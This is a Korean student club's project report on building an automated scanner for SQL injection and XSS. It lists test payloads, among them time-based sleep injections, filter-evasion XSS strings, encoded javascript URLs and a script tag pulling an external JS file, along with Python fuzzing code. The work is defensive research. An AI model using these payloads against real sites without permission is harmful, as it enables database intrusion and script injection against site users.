웹취약점스캐너프로젝트 2/15 목 차 1. 서론 연구의배경및목적 연구주제의요약설명 3 2. 웹취약점 SQL Injection XSS 3 3. 웹취약점점검패턴 SQL Injection 점검패턴 X

Similar documents
Javascript

PowerPoint 프레젠테이션

제목 레이아웃

Observational Determinism for Concurrent Program Security

PowerPoint Template

PowerPoint Template

Microsoft Word - SKINFOSEC-CHR-026- Mass SQL Injection 탐지 우회분석 보고서.doc

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

PowerPoint 프레젠테이션

제이쿼리 (JQuery) 정의 자바스크립트함수를쉽게사용하기위해만든자바스크립트라이브러리. 웹페이지를즉석에서변경하는기능에특화된자바스크립트라이브러리. 사용법 $( 제이쿼리객체 ) 혹은 $( 엘리먼트 ) 참고 ) $() 이기호를제이쿼리래퍼라고한다. 즉, 제이쿼리를호출하는기호

Secure Programming Lecture1 : Introduction

XSS Attack - Real-World XSS Attacks, Chaining XSS and Other Attacks, Payloads for XSS Attacks

(Microsoft PowerPoint - 8\300\345.ppt [\310\243\310\257 \270\360\265\345])

기술문서 작성 XXE Attacks 작성자 : 인천대학교 OneScore 김영성 I. 소개 2 II. 본문 2 가. XML external entities 2 나. XXE Attack 3 다. 점검방법 3 라.

Javascript.pages

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

2

Microsoft Word - CrossSiteScripting[XSS].docx

Microsoft PowerPoint - web-part01-ch05-함수.pptx

2

Microsoft PowerPoint - aj-lecture1-HTML-CSS-JS.ppt [호환 모드]

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

AhnLab_template

** 5 개이발생한주요소프트웨어별취약점세 EDB 번호취약점종류공격난이도공격위험도취약점이름소프트웨어이름

로거 자료실


(Microsoft Word - \301\266\301\326\272\300_XSS.docx)

PowerPoint 프레젠테이션

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

2

Microsoft PowerPoint - web-part03-ch20-XMLHttpRequest기본.pptx

PowerPoint 프레젠테이션

SOFTBASE XFRAME DEVELOPMENT GUIDE SERIES HTML 연동가이드 서울특별시구로구구로 3 동한신 IT 타워 1215 호 Phone Fax Co

17장 클래스와 메소드

2

인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 인도 웹해킹 TCP/80 apache_struts2_remote_exec-4(cve ) 183.8

EDB 분석보고서 (04.03) ~ Exploit-DB( 에공개된별로분류한정보입니다. ** 5개이상발생한주요소프트웨어별상세 EDB 번호 종류 공격난이도 공격위험도 이름 소프트웨어이름 3037 SQL Inj

< F33BFF920C0CEC5CDB3DD20C4A7C7D8BBE7B0ED20B5BFC7E220B9D720BAD0BCAEBFF9BAB828C3D6C1BEBABB292E687770>

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft PowerPoint - chap05-제어문.pptx

쉽게 풀어쓴 C 프로그래밍

HLS(HTTP Live Streaming) 이용가이드 1. HLS 소개 Apple iphone, ipad, ipod의운영체제인 ios에서사용하는표준 HTTP 기반스트리밍프로토콜입니다. 2. HLS 지원대상 - 디바이스 : iphone/ipad/ipod - 운영체제 :

PowerPoint Presentation

Web Scraper in 30 Minutes 강철


5장. JSP와 Servlet 프로그래밍을 위한 기본 문법(완성-0421).hwp

- 목차 - - ios 개발환경및유의사항. - 플랫폼 ios Project. - Native Controller와플랫폼화면연동. - 플랫폼 Web(js)-Native 간데이터공유. - 플랫폼확장 WN Interface 함수개발. - Network Manager clas

2

2

2

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

The Pocket Guide to TCP/IP Sockets: C Version

untitled

취약점분석보고서 Simple Web Server 2.2 rc2 Remote Buffer Overflow Exploit RedAlert Team 안상환

Microsoft Word - src.doc

세르게이의 HTML5&CSS3-내지_ indd

웹서버보안취약점대응및조치 교육사이버안전센터

화판_미용성형시술 정보집.0305

게시판 스팸 실시간 차단 시스템

슬라이드 1

Javascript

WEB Hacking 한국디지털미디어고등학교, T eampur e, JT JSOFT 장태 진

2

Microsoft Word - FunctionCall

Microsoft PowerPoint - 11주차_Android_GoogleMap.ppt [호환 모드]

Secure Programming Lecture1 : Introduction

Microsoft PowerPoint 자바스크립트(1).pptx

SQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자

3장

슬라이드 1

Bind Peeking 한계에따른 Adaptive Cursor Sharing 등장 엑셈컨설팅본부 /DB 컨설팅팀김철환 Bind Peeking 의한계 SQL 이최초실행되면 3 단계의과정을거치게되는데 Parsing 단계를거쳐 Execute 하고 Fetch 의과정을통해데이터

PowerPoint 프레젠테이션

mytalk

chap 5: Trees

쉽게 풀어쓴 C 프로그래밍

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C4C656D70656C2D5A69762E637070>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint 웹 연동 기술.pptx

PowerPoint 프레젠테이션

HTML5 웹프로그래밍 입문-개정판

Tcl의 문법

목 차 1. 개 요 배경 요약 정보 대상시스템 원리 공격 기법 및 기본 개념 Heap Spray Font 공 격..

Microsoft Word - junior.docx

PowerPoint 프레젠테이션

<4D F736F F F696E74202D20B5A5C0CCC5CDBAA3C0CCBDBA5F3130C1D6C2F75F32C2F7BDC32E >

TTA Journal No.157_서체변경.indd

2

JAVA 프로그래밍실습 실습 1) 실습목표 - 메소드개념이해하기 - 매개변수이해하기 - 새메소드만들기 - Math 클래스의기존메소드이용하기 ( ) 문제 - 직사각형모양의땅이있다. 이땅의둘레, 면적과대각

Spring Boot/JDBC JdbcTemplate/CRUD 예제

대규모 자바스크립트 웹어플리케이션개발하기 with BackboneJS and RequireJS 넷스루개발 2 팀이병주

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

Microsoft PowerPoint - chap03-변수와데이터형.pptx

5th-KOR-SANGFOR NGAF(CC)

1. VBA 로웹문서접근및웹페이지정보수집하는방법엑셀 VBA 를통해웹페이지또는웹문서에접근하여정보를수정하고데이터를수집하기위해서는아래와같이크게 2 가지방법을사용합니다. 1-A. WinHTTP ( 또는 MSXMLHTTP) 이용 VBA 에서는 WinHTTP 또는 MSXMLHTT

쉽게

원형연결리스트에대한설명중틀린것은 모든노드들이연결되어있다 마지막에삽입하기가간단한다 헤더노드를가질수있다 최종노드포인터가 NULL이다 리스트의 번째요소를가장빠르게찾을수있는구현방법은무엇인가 배열 단순연결리스트 원형연결리스트 이중연결리스트 단순연결리스트의노드포인터 가마지막노드를

혼자서일을다하는 JSP. 이젠일을 Servlet 과나눠서한다. JSP와서블릿의표현적인차이 - JSP는 <html> 내에서자바를사용할수있는수단을제공한다. - 서블릿은자바내에서 <html> 을작성할수있는수단을제공한다. - JSP나서블릿으로만웹페이지를작성하면자바와다양한코드가

ISP and CodeVisionAVR C Compiler.hwp

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

Transcription:

웹취약점스캐너프로젝트 1/15 웹취약점스캐너제작 2014 년 11 월 10 일 대학교 동아리 인천대학교 OneScore 참여인원 김영성, 박현우, 김한슬 송동현, 라하연

웹취약점스캐너프로젝트 2/15 목 차 1. 서론 3 1.1. 연구의배경및목적 3 1.2. 연구주제의요약설명 3 2. 웹취약점 3 2.1. SQL Injection 3 2.2. XSS 3 3. 웹취약점점검패턴 4 3.1. SQL Injection 점검패턴 4 3.2. XSS 점검패턴 6 4. 웹취약점탐지알고리즘 9 4.1. SQL Injection 탐지알고리즘 9 4.2. XSS 탐지알고리즘 10 5. 결론 11 5.1. 연구결과 11 5.2. 기대효과및활용에대한건의 14 5.3. 프로젝트수행시어려웠던점등기타의견 14 6. 참고문헌 15

웹취약점스캐너프로젝트 3/15 1. 서론 1.1. 연구의배경및목적최근해킹사고의대다수가웹서버, 웹애플리케이션의취약점을공격하는방식의공격으로이루어짐에따라웹취약점을점검하고보완하는작업은선택이아닌필수가되고있다. 하지만이런상황에도불구하고많은중소기업에서는보안취약점을점검할수있는전문인력이없어웹취약점에그대로노출되고있다. 이러한기업들에게자신들의웹사이트의취약점을쉽게점검할수있는자동화프로그램이제공된다면, 중소기업들이보안문제를자각하고보완하려는시도를할것이고그에따라사이트들의보안상태도한층업그레이드될수있을것이다. 이프로젝트를통해웹취약점을탐지하는방법을학습하고, 이를이용해웹사이트의점검을쉽게할수있는자동화프로그램을만드는것을목표로한다. 1.2. 연구주제의요약설명우선, 웹취약점을탐지하는방법에대해학습하며탐지패턴들을정리한다. 이후에정리된탐지방법들을실습용으로구축된사이트를대상으로적용해보며웹취약점점검을자동화할수있는알고리즘을생각해본다. 최종적으로알고리즘을종합하여웹취약점스캐너를제작해본다. 본프로젝트에서는 SQL Injection과 XSS 공격에대해위의과정을진행한다. 2. 웹취약점 2.1. SQL Injection 일반적으로웹어플리케이션은사용자의정보를입력하는사용자로그인정보입력란이나게시판조회란, 게시판게시물번호등같이사용자에게입력, 조회할수있는인터페이스를제공한다. 웹어플리케이션사용자인터페이스의정보는데이터베이스에접근할수있는쿼리문으로전달되는데공격자는이렇게전달되는쿼리문을조작하여데이터베이스를조회, 조작할수있으며시스템까지도장악할수있게된다. 2.2. XSS 자바스크립트처럼클라이언트측에서실행되는언어로작성된악성스크립트코드를웹페이지, 웹게시판또는이메일에포함시켜이를열람한사용자컴퓨터에서악성스크립트가실행되게하고사용자의개인정보등을유출시키는공격이다. XSS 취약점은웹페이지가사용자에게입력받은데이터를필터링하지않고그대로동적으로생성된웹페이지에포함하여사용자에게

웹취약점스캐너프로젝트 4/15 재전송할때발생한다. 3. 웹취약점점검패턴 3.1. SQL Injection 점검패턴 SQL Injection의점검은파라미터에 SQL문을삽입하고서버의 response값을확인하여취약성여부를판단한다. 삽입하는 SQL문과 response값의확인방법은아래와같다. A. 패턴 1 : 1ACUSTART'"ed9cWACUEND Error based SQL injection 공격기법으로 Error를유발시키는쿼리를입력하여쿼리가동작하는지확인한다. GET /listproducts.php?artist=1acustart'"ed9cwacuend Error가발생하지않음 Error 발생 B. 패턴 2 : AND 3*2*1=6 AND 00568=00568 Blind SQL Injection 공격기법으로서버에참인값과거짓인값의패턴을각각보 내본후결과값을비교하여취약점을판별한다. 1번 : GET /listproducts.php?artist=3 AND 3*2*1=6 AND 00568=00568 2번 : GET /listproducts.php?artist=3 AND 3*2*1=2 AND 00568=00568 (artist=3은참이라고가정 ) 1번과 2번의서버응답값이동일하다. 1 번과 2 번의서버응답값이다르다.

웹취약점스캐너프로젝트 5/15 C. 패턴 3 : OR/*randomText*/0032=0032 특정키워드나기호사이의공백이필터링될경우, 공백을대체할수있는문자를 사용해진단할수있다. 공백을대체할수있는문자는아래표와같다. 1번 : GET /listproducts.php?artist=12 OR/*randomText*/0032=0032 2번 : GET /listproducts.php?artist=12 OR/*randomText*/0032=0030 (artist=12가거짓이라고가정 ) 1번과 2번의결과값이같다. 1 번의 2 번의결과값이다르다. 공백을대체하는문자혹은문자열원본 OR 0032=0032 /**/ OR/*randomText*/0032=0032 (, ) OR(0032)=0032 + OR+0032=0032 D. 패턴 4 : OR 0032 rlike 0032 특정연산자가필터링되었을경우, 다른연산자들을조합하여사용할수있다. 사 용할수있는연산자들은아래표와같다. 1번 : GET /listproducts.php?artist=12 OR 0032 rlike 0032 2번 : GET /listproducts.php?artist=12 OR 0032 rlike 0030 (artist=12가거짓이라고가정 ) 1번과 2번의결과값이같다. 1 번의 2 번의결과값이다르다. 연산자 ^ =!= % / * & && < > << >> >= <= <> <=> XOR DIV SOUNDS LIKE RLIKE REGEXP IS NOT BETWEEN

웹취약점스캐너프로젝트 6/15 E. 패턴 5: (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(6)))v)+' "+(select(0)from(select(sleep(9)))v)+"*/ Time based Blind SQL Injection 공격기법으로서버에서응답하는시간을확인 하여 쿼리문이 동작하는지 여부를 판단한다. 위 패턴에서는 서버 쿼리문의 injection 위치에따라 sleep함수의실행위치가다르다. 인용부호를사용하지않을경우 : sleep(3) 이실행 injection 지점이 를사용하는경우 : sleep(6) 이실행 injection 지점이 를사용하는경우 : sleep(9) 가실행 GET /listproducts.php?artist=(select(0)from(select(sleep(3)))v)/*'+ (select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/ 지연없이응답 3초 or 6초 or 9초의지연후에응답 3.2. XSS 점검패턴 XSS 점검은공격에사용되는태그 (<script>) 와자바스크립트함수 (alert, prompt 등 ) 를삽입하고 응답값에해당입력값이인코딩이나필터링되어있는지확인하는방식으로진행된다. A. 패턴 1 : >< XSS 공격에사용되는 ', ", >, < 문자를삽입하여인코딩여부를확인한다. GET /listproducts.php?artist='"><1d352<script>alert(1)</script> %27%22%3E%3C1d352%3Cscript%3Ealert%281%29%3C%2Fscript%3E '"><1d352<script>alert(1)</script> => <script>alert(1)</script> 동작 B. 패턴 2 : <sc<script>ript>prompt(973)<</script>/script> script 태그의입력을공백으로치환하여방어했을때, 우회할수있는방법 GET /listproducts.php?artist='"><<sc<script>ript>prompt(973)<</script>/script> '"><prompt(973) '"><<script>prompt(973)</script> => <script> 가삭제되면서숨겨진 script 동작

웹취약점스캐너프로젝트 7/15 C. 패턴 3 : <script >alert(1)</script > script 태그의입력을필터하는부분에서대소문자를구분하지않았을때, 우회할수있는방법 GET /listproducts.php?artist='"><<script>alert(1)</script> '"><alert(1) '"><<ScrIpT>alert(1)</sCRiPt> => <script> 필터링이적용되지않아스크립트동작 D. 패턴 4 : <img src=x onmouseover=alert(1) /> <img> 태그의속성값을이용해자바스크립트함수를실행시키는방법. onmouseover 외에도아래의표와같이다양한태그속성이존재한다. GET /search.php?test='"<><img SRC=# onmouseover="alert(1)"> <img src=x > => 속성값필터링 <img src=# onmouseover="alert(1)"> => 마우스를이미지에올리면함수실행 태그속성 onfocus bgsound onstop onselectstart onunload onmove onactivae onfocusin ondblclick href onclick onkeydown ondrag onstart onbeforecut onkeyup ondragenter onrowexit ondeactivate onload ondragover onpaste ondragend onbounce ondrop onresize ondragleave onmovestart oncopy onselect ondragstart onmouseout onfinish onscroll onerror onmouseup onreset onchange oncut onabort onsubmit onmovestart

웹취약점스캐너프로젝트 8/15 E. 패턴 5 : <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> 외부의 javascript 함수를호출하는방법 GET /search.php?test='"<><script/src="http://ha.ckers.org/xss.js"></script> 외부의 script함수실행외부의 javascript 소스필터링 F. 패턴 6 : 태그속성값의인코딩 - <IMG SRC= 인코딩된함수 > 태그의속성값은파싱될때 decoding과정을거치게된다. 따라서속성값은아래의표에나와있는인코딩방식으로인코딩후전송해도정상적으로실행된다. GET /search.php?test='"<><img SRC=javas&#9 9;ript:alert&#4 0;&#39;XSS&#39;)> 필터링혹은치환자바스크립트함수실행 인코딩 원본 UTF-8 유니코드인코딩세미콜론없는 Long UTF-8 유니코드인코딩세미콜론없는 Hex 인코딩 <IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript: alert(&#39;xss&#39;)> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0 000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000 101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083 &#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x 61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

웹취약점스캐너프로젝트 9/15 4. 웹취약점탐지알고리즘 4.1. SQL Injection 탐지알고리즘 아래의그림과같은순서로 SQL injection 의취약성을판단한다. URL, Param 입력 : 사용자가 scanner 를실행할때, 점검할사이트와파라미터를입력. URL 유효성 Check : 사용자가입력한 URL 이정상적으로접속이되는지확인. Error Based SQLi 패턴점검 : 3.1 SQL Injection 점검패턴 중 Error Based Injection 패턴을사용하여취약여부를확인한다. Error Based SQLi 패턴점검 : 3.1 SQL Injection 점검패턴 중 Blind SQL Injection 패턴을사용하여취약여부를확인한다.

웹취약점스캐너프로젝트 10/15 4.2. XSS 탐지알고리즘 아래의그림과같은순서로 XSS 의취약성을판단한다. URL, Param 입력 : 사용자가 scanner를실행할때, 점검할사이트와파라미터를입력. URL 유효성 Check : 사용자가입력한 URL이정상적으로접속이되는지확인. Cnt : 사용자가입력한 URL에파라미터를전송할때, Response 값에몇번출력되는지에따라점검횟수가달라지므로테스트문자 (TESTPARAM) 를파라미터로전송하여확인해본다. 문자열위치 : Response의 TESTPARAM의위치에따라패턴의형식이달라지므로위치확인. 패턴점검 : TESTPARAM의위치에따라응답횟수만큼각각의패턴을점검한다. 각각의패턴은 3.2 XSS 점검패턴 에서설명한패턴을사용한다.

웹취약점스캐너프로젝트 11/15 5. 결론 5.1. 연구결과 3.2 XSS 점검패턴 과 4.2 XSS 탐지알고리즘 을이용해 python 기반의 XSS Scanner를제작해보았다. 아래의표는소스코드의중요부분만발췌한것이다. # 위치에따른 XSS 탐지패턴 FUZZING_PAYLOADS_BASE = [ "<script>alert(1)</script>", "<script >alert(1)</script >", "<sc<script>ript>alert(1)<</script>/script>", "<script src=http://ha.ckers.org/xss.js></script>", "<script>alert(string.fromcharcode(88,83,83));</script>", "<IMG \"\"\"><script>alert(\"xss\")</script>\">", "<img src=\"blah.jpg\" onerror=\"alert('xss')\"/>", "<IMG SRC=javascript:a&#10 8;ert(&#39;XSS&#39;)>", ] FUZZING_PAYLOADS_START_END_TAG = [ "\"'/><script >alert(1)</script >", "\"'\/><img src=2 onerror=\"alert(1)\" />", FUZZING_PAYLOADS_ATTR = [ "\"'><script>alert(1)</script>", "\"'><img src=2 onerror=\"alert(1)\"/>", # 데이터위치파악을위한 HTML Parser class MyHTMLParser(HTMLParser): def handle_comment(self, data): global OCCURENCE_PARSED if(testparam.lower() in data.lower()): OCCURENCE_PARSED += 1 if(occurence_parsed == OCCURENCE_NUM): raise Exception("comment") def handle_startendtag(self, tag, attrs):

웹취약점스캐너프로젝트 12/15 global OCCURENCE_PARSED global OPEN_EMPTY_TAG if (Testparam.lower() in str(attrs).lower()): OCCURENCE_PARSED += 1 if(occurence_parsed == OCCURENCE_NUM): OPEN_EMPTY_TAG = tag raise Exception("start_end_tag_attr") def handle_starttag(self, tag, attrs): def handle_endtag(self, tag): def handle_data(self, data): def html_parse(res): parser = MyHTMLParser() location = "" try: parser.feed(res.text) except Exception as e: location = str(e) except: printfail("error. That was bad. Some sort of parsing error happened. Try rerunning?") exit(-1) return location # 위치별 XSS 점검 def break_comment(): printhead("[*] Can comment be escaped to execute XSS?") payload = "--><script>alert(1);</script>" if( compareres(payload,payload) ): #payload = "--><script>alert(1);</script>" if( compareres(payload+"<!--", payload+"<!--") ):

웹취약점스캐너프로젝트 13/15 else: #Try a clean payload payload = "--><script>alert(1);</script><!--" if( compareres("-->", "-->") ): clean = compareres("<!--", "<!--") found = False for pl in FUZZING_PAYLOADS_BASE: pl = "-->" + pl if(clean): pl = pl + "<!--" if( compareres(urllib.quote_plus(pl), pl) ): #Working payload found! Add to payload list and break payload = pl found = True break if(not found): printfail("error. After trying all fuzzing attacks, none were successful. Check manually to confirm.") else: payload = "" printfail("error. Cannot escape comment because the --> string needed to close the comment is escaped.") if(payload): if(payload not in LIST_OF_PAYLOADS): LIST_OF_PAYLOADS.append(payload) printsucc("success. Parameter was reflected in a comment. Use the following payload to break out:") printsucc(payload) def break_script(): def break_data(): def break_start_end_attr(): def break_attr():

웹취약점스캐너프로젝트 14/15 XSS Scanner usage GET 과 POST 방식을지원하며, 사용방법은 URL 과 payload 를명시해주고실행하면된다. python xssscanner.py -u "URL" -p " 파라미터 =TESTPARAM" XSS 스캐너 Test 위그림은 XSS-Game 이라는 wargame 사이트에서 XSS 스캐너를테스트해본결과이다. 알고리 즘에서명시한대로 URL 유효성체크, 문자열반환개수확인, 위치별취약점여부점검 의순서 로진행한다. 5.2. 기대효과및활용에대한건의 웹서비스와다양한인터넷애플리케이션의웹취약점을점검해주는자동화환경구축 비교적간단한방법으로중고기업들의웹취약점자가점검가능 5.3. 프로젝트수행시어려웠던점등기타의견 취약성판단패턴의정리, 목록화 자동화를위한알고리즘의작성과이를코드로구현하는과정의어려움

웹취약점스캐너프로젝트 15/15 6. 참고문헌 Acunetix Web Vulnerability Scanner Vega Vulnerability Scanner - Subgraph KISA. 제 2010-9호웹서버구축보안점검안내서 OWASP XSS Prevention Cheat Sheet ( https://www.owasp.org/index.php/xss_filter_evasion_cheat_sheet ) ( 웹해킹 ) XSS 공격우회방법 ( http://blog.naver.com/swoo1015/220031464543 ) PentesterLab ( https://www.pentesterlab.com/exercises/xss_and_mysql_file/ ) OWASP Top 10 2013 Internet & Security Focus 2013 11월호 Web Security Scan 10 November, 2013 Developer Report F5. SQL Injection Evasion Detection ( https://www.f5.com/pdf/white-papers/sql-injection-detection-wp.pdf ) http://ha.ckers.org/sqlinjection/